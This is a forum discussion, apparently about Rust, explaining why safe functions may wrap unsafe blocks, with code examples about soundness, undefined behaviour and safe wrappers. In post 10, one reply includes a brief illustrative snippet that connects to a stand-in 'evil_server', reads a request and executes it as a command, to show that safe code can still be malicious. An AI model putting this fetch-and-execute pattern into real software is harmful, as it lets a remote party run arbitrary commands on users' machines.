Safe function wrapping unsafe code

help
1

In chapter 20, about the basics of unsafe Rust, the book has this example:

use std::slice;
fn split_at_mut(values: &mut [i32], mid: usize) -> (&mut [i32], &mut [i32]) {
    let len = values.len();
    let ptr = values.as_mut_ptr();
    assert!(mid <= len);
    unsafe {
        (
            slice::from_raw_parts_mut(ptr, mid),
            slice::from_raw_parts_mut(ptr.add(mid), len - mid),
        )
    }
}

My confusion is that I would expect anything unsafe always produce unsafe functions.

The reason is that, in that example above, there could be an error such as returning overlapping mutable references.

In that case, there would be data races wouldn't it?

In that case, assuming any of these functions may have safety errors, it should also return raw pointers, and be unsafe.

2

When writing unsafe Rust, you should follow these principles:

  1. A function with an unsafe block (regardless of whether it is itself unsafe or not) has the responsibility to be sound: to ensure that if its safety conditions are met, calling it does not cause UB.
  2. A function with zero safety conditions does not need to be marked unsafe, and usually should be safe.

In this case, the function can be safe because assert!(mid <= len) ensures that no out-of-bounds access can occur.

If this function constructed overlapping mutable references, that would be a bug in the function. “This function may have bugs” is not a reason to mark it unsafe, because unsafe fn is for giving additional responsibilities to the caller. There is no way for the caller to fix bugs.

3

As a meta-point here, this can't be the rule in any reasonable way: it would mean that almost everything ends up unsafe, eliminating the whole point of using Rust.

The zen of rust is "we wrap up unsafe things into safe interfaces", using the type system to allow doing that with minimal (if any) overhead -- that's how you can call Vec::push in safe code even though it's doing operations under the hood that are individually extremely unsafe, for example.

4

I think my fear was that, as a user, I may be using a safe function with an unsafe block, that may harm my device or something if there is a bug.

This is why the expectation was only audited code in the standard library would be allowed to do such wrappers.

But probably would make any language useless.

But this does also make the caller unaware of higher risk, maybe.

5

my confusion with that example was slightly different: why a panicking function using assert!(...) rather than

fn split_at_mut(values: &mut [i32], mid: usize) -> Result((&mut [i32], &mut [i32]), ...) {
...
}

I feel like I see most safe wrappers using assert!() rather than returning a Result

6

there are tools like geiger-rs/cargo-geiger: Detects usage of unsafe Rust in a Rust crate and its dependencies. that will let you check for that in your (transitive) dependencies and decide for yourself whether you trust the crate authors and/or their code

7

Thanks.

So unsafe is used by developers to tell the user "Use it as we say, and it's safe". And the user decides to trust or not. (Also within our own library.)

The safe wrapper instead means they decided it's safe, and we can use it as normal code.

But it's not taken as a big problem that a user may inadvertently run a function which is wrapping unsafe code, which could be costly.

In the latter case, for any concerns, a user could use the geiger crate, or read the source.

8

As an example of the other way around, I can present this:

The function does not contain any unsafe { } block or run unsafe code.
It is there to remind the user to uphold the invariants that the struct encapsulates and that they need to reason about the validity of the header for the given payload when constructing a new frame like this.

9

That's split_at_mut_checked.

10

Read the source, preferably.

Otherwise, code which only calls "audited code in the standard library" could look as follows:

fn foo() {
    let mut socket = std::net::TcpStream::connect("evil_server");
    let request = socket.read();
    std::process::Command::new(request);
}

which does not exhibit UB per se but I wouldn't want it to run on my machine.

11

If you intuition says that then you don't understand what unsafe even is and why it's fundamentally have to exist.

Hardware, down below, is fundamentally unsafe. Attempts to implement saety in hardware died in flames or are highly experimental.

That means that in a world where you intuition is correct safe languages don't exist: all ”safe” languages are built on top of “unsafe” core, because only “unsafe” core may actually read the keyboard, change pictures on the screen and so on.

Usually that core is written in C, but lives in the same process. Sometimes it could be part of the OS, like in Symbolics offers or Microsoft experiments. But it's always there. It's unavoidable.

What Rust does is simple thing: it just admits the reality. Instead of forcing you to learn a different language to be able to use “unsafe” core that's always there and couldn't be eliminated… it gives you unsafe.

But the core idea is the exact same as in any other “safe” language. The only differentce is that you may do magic without using C or any other “special” language, just Rust with a couple of special additions.

12

It sounds to me that you didn't get the right understanding.

For the right understanding you must kwow that the operations used to execude Rust code (or anything on a computer), CPU assembly opcodes, deal with memory in ways that can corrupt its contents if not done in proper ways. Languages like C that compile to assembly and can produce assembly code that does such corruption are said to have the ability to write programs that trigger "undefined behaviour" (UB). Undefined behaviour means, the compiler doesn't warrant any particular outcome, which means a program having parts with undefined behaviour stops working as intended. The memory could get corrupted, leading to any kinds of results that don't make sense, or the process being terminated by the OS as misbehaving. It can also mean that the compiler compiling the program starts making assumptions about the data handled by the provided code because e.g. "the data must have this length since the program accesses it at that length, so if the programmer thinks that this is correct, then the length must be assured". Of course when the programmer actually did it wrong then the compiler drew the wrong conclusions, as well, and the resulting assembly opcodes actually being executed stop making sense.

So, it's essential to use CPU opcodes in ways that yield a controlled, predictable outcome. When using a language like C, it means, use C in ways that never trigger undefined behaviour. It's an exercise in thinking and constraint.

Safe Rust does not have that problem: the compiler checks that what the provided program does makes sense, and rejects the program otherwise (compilation error). Safe Rust does not allow for any programs with undefined behaviour--it does the work of checking invariants that need to be upheld so that the produced opcodes never trigger UB. This is nice but can be limiting, since the compiler is not as smart as a human.

But unsafe Rust does behave like C in this regard: it does allow to write programs that trigger UB, if the programmer does not do it right. unsafe is providing means to program in a way that the Rust compiler could not ensure never triggers UB. This is nice since it allows the smart humans to do things that the compiler doesn't understand would not actually trigger UB. But it also means that if the human makes an error, UB can happen.

These can be pretty simple things such as: you have a sequence of bytes in a variable s: &[u8], and you know it represents a string in UTF-8. You can use str::from_utf8(s). This runs code that verifies all the bytes that they are, indeed, UTF-8 characters; you get an Option back, and have to handle that (maybe by using .expect(..)). This is a little bit costly. So if you are really sure as a programmer, you could instead write unsafe { str::from_utf8_unchecked(s) } and add a comment like // This is safe because this data came originally from a String and hence is guaranteed in UTF-8. This is a tad faster, but if you got it wrong and the bytes actually can contain other sequences than proper UTF-8 characters, then your program can exhibit UB, which would be bad.

So now you write a function foos_to_string, that you do not declare to be unsafe, since you believe that no UB can be triggered by the caller using it:

impl Foo {
    // Write a human-readable representation of Foo to `output`. UTF-8 is used.
    fn write_to(&self, output: impl Write) -> Result<(), std::io::Error> {
        ...
    }
}

pub fn foos_to_string(foos: &[Foo]) -> String {
    let mut buffer: Vec<u8> = Vec::new();
    for foo in foos {
        foo.write_to(&mut buffer).expect("writing to buffer won't fail");
        buffer.push(b'\n');
    }
    unsafe {
        // Safe because we're only writing UTF-8 bytes to `buffer`:
        // `Foo::write_to` guarantees to only write UTF-8, and we only
        // add ASCII-newlines
        String::from_utf8_unchecked(buffer)
    }
}

It is wrapping unsafe in a safe way (we hope). There is (we hope) no way that calling foos_to_string can produce UB.

When you use the crate providing foos_to_string you are trusting that its developers got it right.

OTOH, from_utf8_unchecked is marked unsafe: it indicates that it is the responsibility of the caller to uphold the requirements necessary to avoid UB. In this case, you have to trust yourself as the developer, primarily.

Marking a function as unsafe means, "this function does things that can trigger UB if you do not follow the preconditions for the correct use of the function."

So unsafe is used by developers to tell the user "Use it as we say, and it's safe".

Better worded, it is "Use it as we say, and it will not trigger UB".

("Safe", in the context of Rust, tends to mean whether it cannot be mis-used, which is not the case here. It's not it that is safe; it is your use of it that is safe if you follow the preconditions.)

And the user decides to trust or not. (Also within our own library.)

The user has to trust their own capability to correctly follow the preconditions that avoid UB.

OK, the user also has to trust the library developers to document the preconditions correctly; but that is probably not what you meant.

The safe wrapper instead means they decided it's safe, and we can use it as normal code.

A safe wrapper doesn't simply "decide that what the wrapped function does is safe, hence we now declare it safe"--this would be totally bogus. The criterium for a wrapper to be safe is when it cannot be used in a way that triggers UB. If the wrapper does use unsafe functions internally, then the only way for the wrapper to become safe is to follow all of the preconditions in its use of the unsafe functions in its implementation. In the foos_to_string function above that was that the bytes were guaranteed to be UTF-8 because only functions that generated UTF-8 were writing into the buffer.

But it's not taken as a big problem that a user may inadvertently run a function which is wrapping unsafe code, which could be costly.

I'm not 100% sure what you mean here. What do you mean by "costly"? "Costly" as in "causes security problems"? "Costly" as in "runs more slowly"?

But when calling functions that are not marked unsafe, we always hope that its developers didn't make a human reasoning error (i.e. bug) when deciding that their own calling of an unsafe function or facility was safe due to their program logic.

So, as Rust users we think that it is "not a big problem" because such bugs should be rare (at least rarer than in C/C++, since in Rust those kinds of bugs are only caused by program parts in unsafe sections, which makes the relative amount of code smaller, and makes it easier to audit for problems).

13

I had understood the same after the previous answers. Thanks for expanding it though.

14

Small, but important correction.

Actual reason is more fundamental. Essentially none of meaningful questions that you may ask about program semntic can be answered by the compiler decisively.

It's not the question of “smarts”, it's simply a very fundamental mathematical theorem: nothing nontrivial about semantic of program may ever be answered decisively — and, of course, question “does thit sequence of machine instructions act the same as that Rust program” is non-trivial, and thus couldn't be answered decisively.

That's why we split program in two and reject “maybe these are correct programs, but we are not sure” in the safe Rust and accept “maybe these are correct programs, but we are not sure” in the unsafe Rust.

Everything else goes from that fundamental issue. When you pait is as “compilers are not as smart as humans” the usual reaction is “then make them as smart as humans, damn it”… there are even people that demand that.

But when you accept that it's just simply not possible to “make compiler as smart as human”… then the only choice is split program in two parts.

Every single “safe” language does that, only most insist thar unsafe part have to be written in some other language.

15

you can actually do worse,
you can create a exact x86_64 CPU emulator in safe rust (the memory would just be a large array or Vec, no actual pointers needed), the emulator could also forward some syscalls to wrappers around safe std functions.
(the obvious answer to unimplemented/invalid syscalls is to flip a few random bits in the memory array)

after doing all of that you can take any unsafe C code, compile it (preferably using a compiler running inside your emulator) and then execute the resulting binary, in safe rust.

any "undefined behaviour" inside the emulator would affect the host computer just as much as real undefined behaviour as the emulated code can create/delete files, open sockets, execute commands, etc.